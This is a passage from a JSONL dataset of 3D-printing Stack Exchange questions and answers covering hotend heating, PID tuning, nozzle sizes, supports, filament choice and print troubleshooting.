than 1-2 seconds you should not use it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.765089"}
{"id": "hf_291f0d328dc3", "question": "<p>I have an M3D Micro 3D printer that printed fine for a couple of weeks and then was plagued with issues afterward. I've done the fixes from the forum to get proper heating and cooling of the nozzle (I've added aluminum foil around the nozzle to make sure the hotend is fit snug against the nozzle and I've added an external fan, powered externally, to compensate for heat creep).</p>\n\n<p>This works very well for short prints and it usually finishes successfully. When I do a longer print it always stops midway and usually at the same exact point. </p>\n\n<p>I tried printing at 200&nbsp;°C with black PLA and then again at 215&nbsp;°C with the same filament and it stops at the same exact point. I also tried M3D brand white filament. I am using CURA slicer with Octoprint GCODE sender and M3D Fio.</p>\n\n<p>I know it is not clogged because if I stop the print and press extrude without letting it cool down, it extrudes fine. </p>\n\n<p>What is causing my printer to stop printing?</p>\n", "question_body": "", "answer": "Placing this suggestion as an answer, because all information appears to point to the slicer software and/or the operating system. Consider to use alternative methods of slicing and sending the model, such as the previously mentioned\nCraftware\nor other free slicers, such as\nSlic3r\n- both of which have Linux versions. If, as you suggest, your firmware is so tied down that it won't run alternate versions without re-flashing, that would be your next step. Unfetter yourself from the limitations of the current suspect software.\nIf you are able to use other slicers and discover that the problem remains, the re-flashing of the firmware is likely the only solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.790609"}
{"id": "hf_649fffe7db1b", "question": "<p>I've built the mechanics of my 3D printer myself, because I need to print parts that are really huge, (and for budget reasons). <strong>So, I already have the 3D movement functionality.</strong></p>\n\n<p>But what I need now, is the printing mechanism itself. I've been reading a lot, but it became clear to me that things are more complicated than I thought. </p>\n\n<p>Let's skip mechanics and software, I'm just interested in how the print head works. Can somebody explain me that?</p>\n\n<p>To be honest, I was so naive that I thought that I just had to buy one part with one data wire (print/noprint) and the 5&nbsp;V/GND wires. But it came to my intension that things are way more complicated. </p>\n\n<p>For example, these RepRap printers have some kind of air tube attached to the print head. I'm not sure what that's all about, is it cooling?</p>\n\n<p>Perhaps I'm always reading the wrong manuals (i.e. the more advanced ones). Can somebody enlighten me or point me to a good starting point?</p>\n", "question_body": "", "answer": "The first point to start would be the RepRap wiki entry for\nextruders\n:\ncold end\nThe \"Cold End\" is usually the bulk of the extruder. It is\noften the actual carriage on one axis and supports the rest of the\nparts. In some designs, the \"Cold End\" is split into two parts; one\npart does the driving of the filament that is stationary and connected\nto the carriage portion, of a lighter weight design for easier\nmovement, with a flexible tube. The drive is a motor that rotates a\nknurled, hobbed, or toothed pinch wheel against a pressure plate or\nbearing with the filament forced between them. Usually, the motor is\ngeared to the pinch wheel to increase available torque and extrusion\ncontrol (smoothness). The gearing can be a 3D printed pinion and gear,\nstock worm wheel and gear, or a more expensive integral motor gearbox.\nStepper motors are used almost universally after initial trials with\nDC motors did not achieve the required repeatability. Servo motors are\nan option, though they are not seen in the literature yet. The final\nfunction, some form of cooling, keeps the \"Cold End\" cold. With the\nclose proximity to the \"Hot End\" and possible heated build platforms\nand enclosures, it is sometimes necessary to have additional passive\nor active cooling of the cold end parts. Heat sinks and fans are often\nused; water and Peltier effect cooling is also discussed. Much of this\nbulk is usually made from 3D printed parts and the temperature is\nmaintained within safe limits.\nhot end attachment\nThe \"Cold End\" is\nconnected to the \"Hot End\" across a thermal break or insulator (the\nBowden tube if used is on the cold side of this thermal break). This\nhas to be rigid and accurate enough to reliably pass the filament from\none side to the other, but still prevent much of the heat transfer.\nThe materials of choice are usually PEEK plastic with PTFE liners or\nPTFE with stainless steel mechanical supports or a combination of all\nthree. A Hot End is frequently joined to the Cold End using a Groove\nMount where the thermal break or insulator is part of the Hot End\nassembly and the Cold End body is provisioned with a cylindrical\nrecess. Many cold ends push the filament out a large hole centered\nbetween 2 small holes about 50 mm apart. (Is there a name for this\nde-facto standard?) Some people rigidly attach a groove mount hot end\nto such a cold end with the mounting plate adapter and two short\nbolts. A few people put 2 long bolts through those holes and then put\na spring around those bolts to make a spring extruder.\nhot end\nThe\n\"Hot End\" is the active part of the 3D printer that melts the\nfilament. It allows the molten plastic to exit from the small nozzle\nto form a thin and tacky bead of plastic that will adhere to the\nmaterial it is laid on. The first RepRap hot end was made of brass.\nResearchers have also made hot ends from glass or aluminium. The hot\nend consists of a melting zone or chamber with two holes. The cold end\nforces the filament into the hot end -- into the heating chamber of\nthe hot end -- through one hole. The molten plastic exits the heating\nchamber through the other hole at the tip. The hole in the tip\n(nozzle) has a diameter of between 0.3mm and 1.0mm with typical size\nof 0.5mm with present generation extruders. Outside the tip of the\nbarrel is a heating means, either a wire element or a standard wire\nwound resistor. The heat required is of the order of 20W with typical\ntemperatures around 150 to 250 degrees Centigrade. For feedback\ncontrol of the nozzle temperature, a thermistor is usually attached\nclose to the nozzle, though a thermocouple may serve with suitable\ncontrol hardware. High temperature materials are needed here. These\ninclude metals, cements and glues, glass and mineral fibre materials,\nPEEK, PTFE and Kapton tape.\nmount to rest of machine\nThe ways\nextruders are mounted on the rest of the machine have evolved over\ntime into informal mounting standards. These informal standards\ninclude the Vertical X Axis Standard, the Quick-fit extruder mount,\nthe OpenX mount, etc. Such de-facto standards allows new extruder\ndesigns to be tested on existing printer frames, and new printer frame\ndesigns to use existing extruders. (Does the \"greg-adapter.scad\"\nadapter in the Prusa i3 Build Manual let me mount an OpenX extruder on\na Vertical X Axis machine?)\nYou can also google for extruder and/or hotend in combination with 3d printing for a first starting point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.815763"}
{"id": "hf_9d73ba4227ec", "question": "<p>I recently finished building my first printer. The only problem that I'm having is that the hotend is not getting hot enough to start printing with PLA (180 to 230 degrees celsius), the hotend getting hotter stops at 170 degrees. Please help I've been stuck on this problem for days. Thanks in advance.</p>\n", "question_body": "", "answer": "Usually, this kind of problem is due to an issue with the control loop of the temperature. You can try to do\nPID Tuning\nby running the command\n```\nM303 E0 S200 C8\n```\n. This will heat up the hot end and cycle it around 200C a few times, and afterwards tell you Kp, Ki and Kd values which you need to enter into the PID settings of your firmware configuration, or store them in EEPROM using\n```\nM301\n```\n.\nIf this does not solve the problem, then disconnect the heater cartridge and check its resistance with a multimeter. For a 12V system, it should not be higher than 6Ω (24Ω for a 24V system).\nIf the heater cartridge is okay, then perhaps it is a problem with the power supply. While the hotend is heating up, measure the voltage across the heater cartridge. It should not be much less than the nominal 12V/24V your printer runs at. If it is, you may have a bad MOSFET or power supply.\nFinally, if you have a very powerful fan blowing on the hotend this can cause issues with heating up as well. Adding a fan shroud (or pointing the fan away from the nozzle and only at the print) can help with this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.841153"}
{"id": "hf_282f1e099596", "question": "<p>So, I'm having this problem where almost anything I print with a section(s) that is not directly connected to something below it breaks when I try to pull the small filaments meant to hold it up during printing off. For example, I 3D-printed a Rayquaza(<a href=\"https://www.myminifactory.com/object/rayquaza-23624\" rel=\"noreferrer\">this one</a>) from Pokemon for my little brother, and as I was carefully pulling the filament from under the mouth, the whole head just snapped off. Does someone have a recommendation as to a way to get the small filament off without breaking the object? Would a solution just be to print it bigger and see if it holds up better, or is there something else I can do? Thanks.</p>\n", "question_body": "", "answer": "The small filaments you remove that hold the parts up are called supports. The one model I located on Thingiverse clearly requires a number of supports, as the model is not easily designed for 3d printing with FDM printers. It would be better printed with SLS, but that's not the focus of your question.\nYou don't specify how large you printed the model, but certainly a scaled-up version will be stronger at the weak points. You will want to use sharp non-shearing cutters to clear away as much of the supports as possible, without torquing on the model.\nAnother option which also reduces the forces on the model body is to use a soldering iron to smooth and clear/cut the supports. If you are able to use cutters and not damage the model, the soldering iron can remove and flatten the remnants of those supports.\nPlease note that if your careful work has resulted in a model that snaps to pieces, your little brother will soon destroy the successfully cleaned up model just as easily.\nIf you have skill with 3d modeling software (Meshmixer and Blender come to mind for such organic models), you can add insignificant items to the model to provide functional support. Would the Rayquaza look fiercer if you 3d printed a cage as an integrated part of the model, using the bars of the cage to provide support?\nI successfully printed a model that was created by an artist unfamiliar with 3d printing restrictions. The support material was wash-away PVA. I provided the model to the \"owner\" who washed away the support material and snapped the legs in two. It's sometimes impossible to solve poor designs. You have a good chance if you build a cage for this one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.877870"}
{"id": "hf_a50e1242b4d1", "question": "<p>On their website they say the following</p>\n\n<pre><code>0.25 mm nozzle: 150 to 60 micron\n0.40 mm nozzle: 200 to 20 micron\n0.60 mm nozzle: 400 to 20 micron\n0.80 mm nozzle: 600 to 20 micron\n</code></pre>\n\n<p>That confuses me. Why can I go down to 20 micron with the 0.40, 0.60 and 0.80 nozzle but only down to 60 micron with the much smaller 0.25 nozzle? Is that a typo and should say 6 micron?</p>\n", "question_body": "", "answer": "You need a certain minimum flow rate to achieve consistent extrusion. Flow rate is the product of print speed, extrusion width (proportional to nozzle size) and print speed. If you use a very small nozzle and very low layer height, you'd need a very high printing speed to achieve a reasonable flow rate. Therefore, it's quite possible this is not a mistake and intentional.\nKeep in mind that Ultimaker uses 2.85mm filament. With a 0.3mm extrusion width, 0.02mm layer height and 60mm/s print speed, you would need a feedrate of 0.06mm/s into your extruder. The extruder might not be able to develop enough force on the filament at such a low speed (which, owing to the small nozzle size, requires a relatively large amount of force).\nThe ultimaker can not print 6 micron layers since the smallest increment the Z-axis can move in is 5 microns. 6 microns is not a multiple of that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.902849"}
{"id": "hf_5200e8199c4b", "question": "<p>My wife wants me to use an FFM 3d printer to make custom stamps for her to use on paper (scrap books, letters, etc.). She is convinced, however, that they will be too rigid to make good stamps.  A quick google search showed ones made from <a href=\"https://3dprint.com/110918/3d-printed-stamp-collection/\" rel=\"noreferrer\">PLA</a> and <a href=\"http://www.thingiverse.com/thing:3669\" rel=\"noreferrer\">ABS</a>. Logically, though, a TPU or similar would address her concerns.  A good quality stamp needs to hold ink and make good, even contact with the paper. It would probably need to be able to be sanded or smoothed in some way.</p>\n\n<p>I am supposed to receive my printer next week or so and am trying to get some filaments, STL files, and accessories I will need ready in advance so I can rapidly learn how to use it.</p>\n", "question_body": "", "answer": "Recently I've experimented with printing some\nNylon 618 filament\nafter\nreading stuff online\nabout it.  I'm using a Craftbot original with the stock hotend, keeping the Nylon dry in a ziploc bag.  It prints really well, just tricky to get it to stick to the bed (I'm still working on that), but otherwise it's great.\nOnce printed, the main difference from PLA prints is the nylon remains more flexible.  If you bend a thin nylon print, it tends to just spring back to the shape that came off the printer.  That's very different from my PLA prints, which will either stay bent or break apart.\nI believe that nylon would be a good material for you to try for stamps, because of this flexibility and shape-preserving quality.  The comments show some other materials to try, but I'm limiting my answer here to my own personal experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.927185"}
{"id": "hf_7f881355ffef", "question": "<p>I have a weird problem with my old 3D printer, it is a Prusa/Mendel type.\nWhen I print a 20&nbsp;mm cube, X and Y are correct, Z is resulting 16 to 17&nbsp;mm.\nI have checked the correctness of the movement on Z using the manual controls and there are no issues.</p>\n\n<p>I played a bit with the layer thickness, I have a 0.4&nbsp;mm nozzle, setting the layer height to 0.12&nbsp;mm (normally is on 0.16&nbsp;mm) but no changes in the result.\nI am printing PLA on a cold bed at 180&nbsp;&deg;C without any other particular defect.</p>\n\n<p>I would appreciate some direction on how to solve such problem.</p>\n", "question_body": "", "answer": "You should check that the steps per mm for your Z-axis are set correctly. This depends on the pitch of the leadscrews/threaded rods driving the axis and parameters of your steppers (microstepping and raw steps/revolution).\nThis Calculator\n.\nMake sure that your layer height is a multiple of a full step of the Z-stepper. The Z-stepper may be disabled intermittently, and when re-enabled it may \"snap\" to the nearest full step position. If your layer height requires microstepping, you may notice it getting rounded down or up due to this.\nFor instance, if a full step were 0.08 mm, then 0.16 mm layers would require 2 full steps, printing fine. 0.12 mm layers would require 1 full step and a half microstep. Due to rounding, some layers might be reduced to 0.08 mm instead. This might account for the height discrepancy you're seeing (though 0.08 mm is quite a high, unrealistic amount for a full-step).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.963841"}
{"id": "hf_b3a008269ee9", "question": "<p>I am wondering if making an hermetic box is feasible using 3D printer. The box would be a cube with a front face removable, with screw and sealing joint to close it.<br>\nI searched for different materials, however, none talks about hermiticity. (However, I found a product that seems to improve water resistance of 3D printed items <a href=\"http://www.nanovia-technologies.com/...mperm-f10-ft-tds.pdf\" rel=\"noreferrer\">here</a>, which might be a starting point)    </p>\n\n<p>Does anyone have experienced to make hermetic things ? I am specially interested in carbon fiber reinforced materials.</p>\n", "question_body": "", "answer": "I believe this can be achieved using o-rings.  That's what they use for scuba diving lights.  The component doesn't need to be circular, but the o-ring needs to be slightly smaller than the component so that it is held in place via tension.  Additionally, you'll want to create a groove for the o-ring to set it in and make sure that the o-ring protrudes slightly so that it applies pressure and creates a tiny amount of friction when it's coupled with its counterpart.  Apply some type of lubricant to prevent the o-ring from sliding out of place and to keep it from drying out and cracking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.988677"}
{"id": "hf_f59e04ed645d", "question": "<p>I'm trying to print with Laybrick and for the most part it is going.  The problem lies with the top layer and gaps appearing.  I've tried increasing the number of top layers but the gaps still appear.  Any ideas what else I can try? </p>\n\n<p>I'm using Simplify3d.\n<a href=\"https://i.stack.imgur.com/Y05dR.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Y05dR.jpg\" alt=\"Image\"></a></p>\n", "question_body": "", "answer": "When using Simplify3D, you may try referring to their awesome troubleshooting guide:\nhttps://www.simplify3d.com/support/print-quality-troubleshooting/#holes-and-gaps-in-the-top-layers\n3 reasons (from the guide) for gaps in the top layers:\nunder-extrusion: you may try to increase extrusion multiplier to see if this helps\nlow infill percentage: not likely in your case if increasing number of top layers did not help\nnot enough top layers: you already tried increasing number of top layers.\nIn addition to that, you may change certain parameters (such as extrusion multiplier) for a given number of layers by using Simplify3D features. It can be helpful to avoid problems to for the rest of the model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.013745"}
{"id": "hf_41b7819deaf4", "question": "<p>I've a friend who is expecting.  There are several adorable weapon themed rattles on thingiverse.  I am, however, concerned about safety associated with such a product in the hands of a baby who will gnaw on it.  To me the safety concerns here are much larger than for most food handling applications.</p>\n\n<p>What steps should be taken to ensure such a print is safe for use?</p>\n\n<p>This includes: filament selection, pea material selection, wall thickness, smoothing, construction, etc.</p>\n\n<p>My current thoughts are as follows: \"food grade PLA\", dried peas, sanding, and single piece construction</p>\n", "question_body": "", "answer": "You're on the right track.  Since you asked for \"steps\" here you go:\nStep 1. Choose a safe material:\nConsider chemical safety and physical safety. Food grade PLA should be chemically safe, but could be too brittle depending on the design you choose.  PETG, T-Glase, or similar filaments (depending on dye) are normally also chemically safe and are less brittle than PLA so may be a better alternative.  ABS is NOT typically considered safe for food contact.\nStep 2. Choose a safe design:\nIf using PLA, be sure the design is robust enough to ensure it won't break.  Broken rattles with sharp edges make baby...sad.  Even less brittle filaments can still break with jagged edges if the design is fragile.\nStep 2a. Choose a single piece design:\nChoose a design that requires you to add the peas (or other safe filler) during the print such that the finished rattle is fully enclosed.  This will minimize parts becoming loose or peas spilling and minimize choke hazards.\nStep 3. Consider post processing to improve safety:\nSanding could reduce ridges and minimize crevices that could harbor bacteria, but sealing it with a food-safe sealant may be more effective.  There are many sealants that the FDA considers safe, but polyurethane or food-safe epoxy finishes will work well with PLA. (If you use a different material, test to verify good adhesion.)\nStep 4. Test:\nMake a test rattle and run it through the paces.  I guess you could chew on it, but since babies don't have teeth, this might invalidate your data...\nStep 5. Consider alternatives such as professional printing services:\nIf your tests don't inspire confidence, professional services can offer additional materials (metals, ceramics, etc.) that could be safer than a typical fused filament printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.042243"}
{"id": "hf_30577befb268", "question": "<p>What materials, available as filaments for use in FDM printing, are known to be the most physically and chemically inert? In particular, stability (not necessarily simultaneously) in the presence of the following should be assumed:</p>\n\n<ul>\n<li>pH 0-14</li>\n<li>oxidizing agents (ozone, permanganates, dichromates, acidic hydrogen\nperoxide)</li>\n<li>organic solvents (particularly acetone, methanol, toluene, formamide)</li>\n<li>temperature up to 160 degrees Celsius</li>\n<li>pressures between ~10^-7 torr and ~2 bar</li>\n<li>oxygen or argon plasma</li>\n</ul>\n", "question_body": "", "answer": "PEEK, a plastic known for its superior chemical and physical resilience (\nhttp://www.zeusinc.com/materials/peek/chemical-resistance-chart-peek\n), has been successfully used for filament-based printing (\nhttps://3dprint.com/52713/indmatec-peek-fdm-printing-filament/\n). However, it is unlikely to be an option on most existing printers given its high melting temperature (around 343 degrees Celsius,\nhttps://en.wikipedia.org/wiki/PEEK\n). Though it does not meet all the criteria proposed (for instance, its glass transition temperature is around 143 degrees Celsius), overall it is a fairly good choice.\nTeflon, an obvious choice, unfortunately has a decomposition temperature very close to its melting temperature, and appears to be unsuitable for extrusion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.113567"}
{"id": "hf_3ad8d90997a9", "question": "<p>I have a QIDI Tech 1. It has a heated bed, and a cooling fan attachment. Whenever I print without a raft, the first inch or two of material laid down does not adhere to the bed, but the rest of the first layer is flawless.</p>\n\n<p>I have tried speeding up and slowing down the first layer walls, but the problem remains. It also seemed to get a little worse when slower. I also tried not turning on the cooling fan for a bit to see if maybe the material was cooling too quickly, but that had zero effect on it.</p>\n\n<p>I'd like to avoid using tape and other methods since the rest of the print is perfect, and the bed already has a material on it to aid adhesion.</p>\n\n<p>What else can I try to prevent the dragging for the start of the print?</p>\n", "question_body": "", "answer": "I've had this problem in the past with a Flux Delta printer. The first attempt to resolve it was to always use a brim along with a raft. The brim will often have settings to allow number of passes as well as number of layers. If you are not using the brim to provide adhesion, you still can use it to prime the nozzle.\nLater versions of the software allowed for start g-code which moved the nozzle to the edge of the print area and extruded 10-40 mm of filament, also providing for priming the nozzle.\nYou've not noted what slicer you are using. You may find there are suitable locations to position the head to an unused area, run a few mm of filament, then begin your print.\nAmazon Q&A says your printer accepts g-code, which implies the slicer generates same.\nIn combination with a brim, you may have your solution. I've also found that you have a heated bed. If you have a cold spot on the bed, adhesion may be a problem, although I think that is not the case, based on your description.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.162442"}
{"id": "hf_867d1f82f21b", "question": "<p>In 4D printing technology or by means usage of Shape-memory alloy (non-metal, iron based, copper based or NiTi material) for 3D printing.</p>\n<p>Is there any software simulation tool which I can use to simulate this material change behavior with respect to time?  For example, when introducing a change in humidity or temperature.</p>\n<p>Note: It would be best if the simulation tools targeted automotive parts (power train, cooling system, interior &amp; exterior etc.).</p>\n", "question_body": "", "answer": "I am going to say that this probably is a whole dimension out of scope for this group ;-)\nThat said this new type of 3d printing is still at the University level. Also 4d is not necessarily 3d printing related at all. All it has to be is self assembling. Like\nhttp://www.selfassemblylab.net/4DPrinting.php\nUnless you have a connect with MIT. Then you aren't going to be simulating any 4d models.\nBut if you HAD to do this, then you should write a paper about it and become a researcher. You could get published. You might need a PHD in material science. There might be some simulation in solid works.. but I would say you are mostly on your own and have to develop the models as they simply do not exist, especially outside of academia and stratasys.\nThat said if you take the \"4d\" part and use models based on the current understanding of the raw material you would have more success.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.212009"}
{"id": "hf_33c6aedcd179", "question": "<p>I have my nozzle close to the substrate that I am printing on, so that a piece of paper can just about slide underneath it freely, without catching.</p>\n\n<p>Is this the right way to do it?</p>\n", "question_body": "", "answer": "Using a piece of paper won't guarantee you get exactly the \"correct\" height (because different papers have different thicknesses, and it's hard to determine exactly when it no longer catches on the nozzle) but it gets the bed level and the distance will be close to correct.\nYou can then further adjust the height by observing the first layer and making adjustments based on whether you see the first layer being squished down enough or too much. The babystepping feature (if enabled) is very useful for this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.237344"}
{"id": "hf_e20ae2f8d1f1", "question": "<p>What are the methods to auto eject parts (into a collection area/box/basket) in order for the 3D printer to continue printing?</p>\n\n<p>For some reason this feature isn't common (yet?). Is there a hidden reason why?</p>\n\n<p>Will using the print head to ram the part off the build plate into a basket nearby cause the print head to misalign (if using belts).</p>\n\n<p>I am planning to use a Cartesian XY-Head type (like CoreXY) printer, where the build plate moves along the Z axis and XY axes are on the ceiling of the printer using belts to move the print head.</p>\n", "question_body": "", "answer": "From the standpoint of a hobbyist user with a mid-range machine, my answer is based on the model release from the build plate. With a heated clean glass plate, my model will\nalmost\nalways release once the plate has cooled. The \"almost\" aspect means that if you want to use the print head to push the model clear, you will be confronted with a stuck model occasionally.\nThe amount of force applied by the head may be enough to release a stuck model, but \"may be\" is not going to be sufficient. Especially with a core-xy system (used by my Emblaser laser engraver), you can either toss a belt or cause a stepper motor skipping. More powerful motors will reduce the skipping possibility, but not the belt jump problem.\nYou could consider to add one additional motor with a sweep arm, geared in such a manner as to provide the necessary torque, along with a force sensor to register a model stuck so badly as to be impossible to dislodge.\nYour g-code would be written to lower the bed to the appropriate location to allow the sweep arm to operate, while the force sensor would be tied into the pause/stop circuit of your controller.\nSome controllers already have the ability to manage an additional motor, as some are manufactured to provide for dual extrusion.\nIf such unattended operation is going to be a requirement, you'd also want some form of aborting a failing or failed print.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.261542"}
{"id": "hf_25c7c731f789", "question": "<p>I had a problem with my Z limit switch bracket falling just short of the bottom edge of the z stage. </p>\n\n<p>I'm trying to make the bracket thicker so it's pushed more towards the left. </p>\n\n<p>1) how do I measure the thickness of the bracket in the stl\n2) HOw would I make it thicker if it is indeed too thin</p>\n\n<p><a href=\"https://i.stack.imgur.com/U1iy4.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/U1iy4.gif\" alt=\"enter image description here\"></a></p>\n\n<p>It's might to be mounted standing up right. </p>\n\n<p>I want to make it thicker x axis (if it's stood up)</p>\n", "question_body": "", "answer": "Looks to me like you have your slicer set to 3mm filament when you're using 1.75mm filament. Confirm that your slicer has its filament setting set to 1.75mm and not 3mm (this obviously assumes you are using 1.75mm filament..)\nFailing this:\nTest extruder steps/mm\nEnsure nozzle diameter is set correctly (usually doesnt make too much difference anyway...)\nEnsure extrusion multiplier is set correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.298803"}
{"id": "hf_cf45230175cc", "question": "<p>I am new to FDM RP.  I've done a lot of work on ZCorp and Connex.  </p>\n\n<p>The question is can vectors curve drive an extrusion nozzle?  Within a 3D volume I can generate curves that I want the print nozzle to follow. Is this possible or has it been done? If so, what software or is there a hack?  </p>\n\n<p>Another question is, can you print a part with no sidewall or containment boundary?</p>\n", "question_body": "", "answer": "Vectors do not drive the extrusion nozzles in current software. There are methods to take vectors and create a solid model with them which can be used. The standard workflow is to take a solid model, save it in the STL format, and then import the STL file into the slicing software and outputs Gcode with contain coordinates for the extrusion nozzle to move to.\nI have not seen any software that will create just the infill geometry without any bounding surfaces. This would be such a specific use case that it is unlikely to appear in current software. That is not to say that it couldn't be done, but you would likely have to implement such a feature yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.323445"}
{"id": "hf_fd6fc600fe4b", "question": "<p>I have been using PLA filament for two years now and have had good prints. ABS on the other hand has not been so good, so my choice of filament is PLA. </p>\n\n<p>I am getting ready to do a sign for the American Legion and the colors are black, blue, and red and are 0.8 mm thin. The black letters are 4\" x 2.5\", blue are 3\" x 2\" and the red are 7.75\" x 5.5\". I plan to treat them with UV protection spray and attach them with clear epoxy to white back lit Plexiglass. </p>\n\n<p>As the letters are quite thin, my question is how well will this hold up in the weather? The sign hangs on a pole that points east &amp; west so the letters will be facing north and south. The original was painted with spray paint and the red paint south side faded to the point you could hardly see it at all. The sign had been there for some time and was done at a professional sign company.</p>\n", "question_body": "", "answer": "I printed a handle for a rather big rolling door in natural PLA (From Fabberparts) - no UV protection. It's on the weather side of the house and is exposed to direct sun half the day.\nAnd after three years cycling to all the German seasons it's still absolutely fine. Also, Wikipedia told me that PLA has good UV resistance - so you should be fine IMHO.\nHere is a good blog post about your question:\nUsing PLA for Long-Term Outdoor Applications\n.\nUpdate: After ~ 8 Years the door handle ist still fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.347664"}
{"id": "hf_8090b2ed7140", "question": "<p>A lot of consumer desktop F.D.M. printers comes with a 0.4mm nozzle. I'm looking to print fine details objects and I was considering trying to use a smaller size nozzle. But before I do so I would like to establish a list of downsides and unwanted consequences.</p>\n", "question_body": "", "answer": "Here are some things to look out for when switching to a smaller nozzle size:\nCurling\n(out of the nozzle): Make sure the nozzle is clear of any debris to avoid the extruded filament from catching and therefore curling around the nozzle.\nWarping\n: You might experience more warping on the build plate and delamination between layers as a result of the smaller surface area of the layers.\nReduce speeds\n: You should reduce your print speeds anyways when printing fine-detail objects. However, the smaller nozzle size will need a bit more time to adhere to other objects (see above).\nStandoff distance\n: The distance between the nozzle and build plate, a.k.a standoff, should be a bit smaller with the nozzle size. Typically people use the paper reference (using a piece of paper to \"calibrate\" the standoff), which is about 0.004\".\nMake sure your slicing engine knows the change!\nMost slicing software will allow you to adjust the nozzle size. This can also be used to fine-tune your machine.\nBeware of clogging\n: Clogging is usually a result of poor cooling between your heater block and your drive gear, poor filament quality, and/or incorrect extrusion rates. You might want to perform a benchmark print with the new nozzle to \"rediscover\" which temperatures work best with the new \"basin\" volume in the nozzle.\nI'm sure there are many others, but this should help get you started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.407884"}
